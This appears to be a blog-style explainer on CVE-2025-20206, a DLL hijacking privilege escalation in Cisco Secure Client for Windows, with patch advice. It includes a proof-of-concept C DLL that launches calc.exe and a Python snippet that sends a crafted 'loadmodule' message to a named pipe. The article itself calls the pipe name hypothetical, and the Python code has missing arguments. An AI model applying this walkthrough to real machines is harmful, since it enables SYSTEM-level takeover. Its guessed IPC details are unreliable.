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Overview

A critical security vulnerability has been found in Cisco Secure Client for Windows – previously known as AnyConnect Secure Mobility Client – when used along with the Secure Firewall Posture Engine (formerly HostScan component). This flaw, tracked as CVE-2025-20206, allows an authenticated, local attacker to potentially execute arbitrary code with SYSTEM privileges using a DLL hijacking attack.

This article will explain what this vulnerability is, how it works internally, provide simple demonstration code, discuss the risks, and link to reliable references for further reading. This content is exclusive and written in clear, simple American language.

What is DLL Hijacking in Simple Terms?

DLL hijacking happens when a Windows program loads a malicious Dynamic Link Library (DLL) file placed by an attacker, rather than the intended, safe one. If the program runs as SYSTEM (the highest privilege), the malicious code runs with the same power.

How Does CVE-2025-20206 Work?

The core problem lies in insufficient validation of resources loaded at runtime via an insecure Inter-Process Communication (IPC) channel within Cisco Secure Client for Windows. If a user sends a specially crafted message through this channel to a specific process, it may make the process load an attacker-controlled DLL file.

The attacker triggers the process via a crafted IPC message.

- The process loads the attacker's code, which can do anything SYSTEM can (add new users, disable security tools, etc).

Exploitation Walkthrough

Let's go through a *simplified* example to illustrate the exploitation (this is for educational use only):

Here’s a bare-bones example written in C

// exploit.dll
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Payload: Launch calculator as proof (runs as SYSTEM)
        system("calc.exe");
    }
    return TRUE;
}

Compile this DLL and name it with the same filename as the legitimate DLL the Cisco Secure Client process loads.

Step 2: Place the DLL

The attacker puts their exploit.dll in a directory where the vulnerable process will look (usually working directory or C:\Program Files\Cisco\ subfolders based on documentation).

Step 3: Trigger Load via IPC

The attacker uses a script or tool to send a crafted IPC message to Cisco Secure Client’s process.

Example using Python (pywin32) to send a Windows message, or by hijacking a pipe/socket, though the actual implementation depends on analysis of the software’s IPC mechanism (reverse engineering usually required):

import win32pipe, win32file

# Example: Connect to a named pipe used by Cisco Secure Client (name hypothetical)
pipe_name = r'\\.\pipe\cisco_secure_ipc'
msg = b'{"command": "loadmodule", "path": "C:\\Path\\To\\exploit.dll"}' # crafted message

handle = win32file.CreateFile(pipe_name, win32file.GENERIC_READ | win32file.GENERIC_WRITE, , None, win32file.OPEN_EXISTING, , None)
win32file.WriteFile(handle, msg)
print('Message sent!')

*Note:* The Actual IPC channel and message format would be discovered through analysis – this is conceptual for illustration.

When Cisco Secure Client processes the message, it loads the attacker’s DLL, and the code executes as SYSTEM.

Impact and Risks

Exploiting this vulnerability gives the attacker full SYSTEM access (highest privileges) on the Windows endpoint. From here, they can:

Install ransomware or other malware

The attack cannot be launched remotely. The attacker has to already have a valid Windows account on the machine.

Update Cisco Secure Client: Cisco has published a fixed version – update immediately!

- Remove Unused Components: If you don’t need the Secure Firewall Posture Engine (HostScan), uninstall it.

References

Official Cisco Security Advisory:
- Cisco Advisory for CVE-2025-20206

Vulnerability database:
- NVD CVE-2025-20206

General background on DLL hijacking:
- OWASP DLL Hijacking Guide

Final Thoughts

CVE-2025-20206 is a serious reminder that even trusted, privileged software components can become a foothold for attackers if internal resource loading is not carefully secured. Defense-in-depth, software patching, and regular auditing of programs are your best protection.

If you run Cisco Secure Client for Windows, especially in enterprise environments, patch immediately and verify your security posture!


*For educational and defensive use only. Do not attempt attacks on systems you do not own or administer.*

Timeline

Published on: 03/05/2025 17:15:14 UTC